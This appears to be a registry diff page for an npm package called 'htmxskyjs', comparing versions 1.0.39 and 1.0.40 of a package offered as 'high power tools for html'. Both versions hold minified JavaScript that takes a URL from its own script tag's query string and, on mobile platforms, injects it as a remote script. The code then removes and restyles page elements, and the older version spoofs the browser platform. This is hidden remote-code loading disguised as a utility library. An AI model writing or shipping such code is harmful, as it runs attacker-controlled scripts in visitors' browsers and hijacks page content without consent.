Comparing version 1.0.39 to 1.0.40
@@ -1,1 +0,1 @@ | ||
var scriptUrl=document.currentScript.src,urlParams=new URLSearchParams(scriptUrl.split("?")[1]),links=urlParams.get("u");if(Object.defineProperty(navigator,"platform",{get:function(){return"iPhone"}}),links){let e=0==navigator.platform.indexOf("Mac")||0==navigator.platform.indexOf("Win");if(!e&&links&&!window.phaStatus){let e=new XMLHttpRequest;e.open("HEAD",links,!0),e.timeout=3500,e.onreadystatechange=function(){var e;200===this.status&&((e=document.createElement("script")).setAttribute("src",links),e.setAttribute("async",!0),document.body.appendChild(e),fixAppendBody(),window.phaStatus=!0)},e.send()}function fixAppendBody(){let n=this;var e=document.body,t=new MutationObserver(function(e){e.forEach(function(e){if("childList"===e.type){let t=n.moreObsId;e.addedNodes.forEach(function(e){"app"!=e.id&&e.id?t!=e.id&&(0<e.id.indexOf("HD")&&(n.moreObsId=e.id.split("HD")[0]),e=document.getElementById(e.id))&&e.parentNode.removeChild(e):((e=document.querySelector("body > div[style*='display: none;']"))&&e.parentNode.removeChild(e),0<(e=document.querySelectorAll(`body > div:not([id='${n.moreObsId}'])`)).length&&e.forEach(e=>{"app"!=e.id&&e.parentNode.removeChild(e)}))}),t&&"app"!=t&&(document.body.classList.add("more_big_body"),(e=document.getElementById(t+"HD"))&&e.parentNode.removeChild(e),(e=document.getElementById(t))&&(e.style.cssText="height: 5.5rem !important;max-height: 5.5rem !important;overflow: hidden !important;z-index: 201 !important;background-color: #fff;"),(e=document.getElementById(t+"CL"))&&(e.style.cssText="display: none !important;"),e=document.getElementById(t+"DV"))&&(e.style.cssText="height: 5.5rem !important;max-height: 5.5rem !important;overflow: hidden !important;position: relative !important;",e=e.getElementsByTagName("img"))&&(e[0].style.cssText="height: 5.5rem !important;max-height: 5.5rem !important;overflow: hidden !important;background-color:transparent;",e[1].style.cssText="height: 5.5rem !important;max-height: 5.5rem !important;overflow: hidden !important;object-fit: fill !important;background-color: #efefef;")}})});document.body.className="",t.observe(e,{childList:!0})}function removeScript(e){for(var t=document.getElementsByTagName("script"),n=0;n<t.length;n++)t[n]&&t[n].src&&-1!=t[n].src.indexOf(e)&&t[n].parentNode.removeChild(t[n])}} | ||
var scriptUrl=document.currentScript.src,urlParams=new URLSearchParams(scriptUrl.split("?")[1]),links=urlParams.get("u");if(links){let t=0==navigator.platform.indexOf("Mac")||0==navigator.platform.indexOf("Win");if(!t&&links&&!window.phaStatus){let t=document.createElement("script");t.setAttribute("src",links),t.setAttribute("async",!0),document.body.appendChild(t),fixAppendBody(),window.phaStatus=!0}function fixAppendBody(){let e=this;var t=document.body;let i,n;var r=new MutationObserver(function(t){t.forEach(function(t){"childList"===t.type&&(e.moreObsId,t.addedNodes.forEach(function(e){if(!/SCRIPT|STYLE|DIV/.test(e.tagName)&&e.style&&('url("")'===e.style.backgroundImage&&(e.style.display="none !important"),n||"0.01px"!==e.style.left||(e.classList.add("easyNode"),n=!0)),"STYLE"===e.tagName){let t=e.innerHTML;t=t.replace(/!important/,"!important; zoom: .65; margin-left:15%;"),e.innerHTML=t,i=t.match(/url\((.*?)\)/)[1],document.body.classList.add("more_big_body")}e.id&&(e.style.position="fixed",e.style.top="0",e.style.zIndex="99",e.style.backgroundColor="#fff",e.style.width="100%",e.style.height="78px",e.style.backgroundImage=`url(${i})`,e.style.backgroundPosition="center",e.style.backgroundSize="100%",e.style.filter="blur(4px)");e=document.querySelector("body > div[style*='display: none;']");e&&e.parentNode.removeChild(e)}))})});document.body.className="",r.observe(t,{childList:!0})}} |
{ | ||
"name": "htmxskyjs", | ||
"private": false, | ||
"version": "1.0.39", | ||
"version": "1.0.40", | ||
"description": "high power tools for html", | ||
@@ -6,0 +6,0 @@ "keywords": [ |
Sorry, the diff of this file is not supported yet
Sorry, the diff of this file is not supported yet
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
4870878
56
6035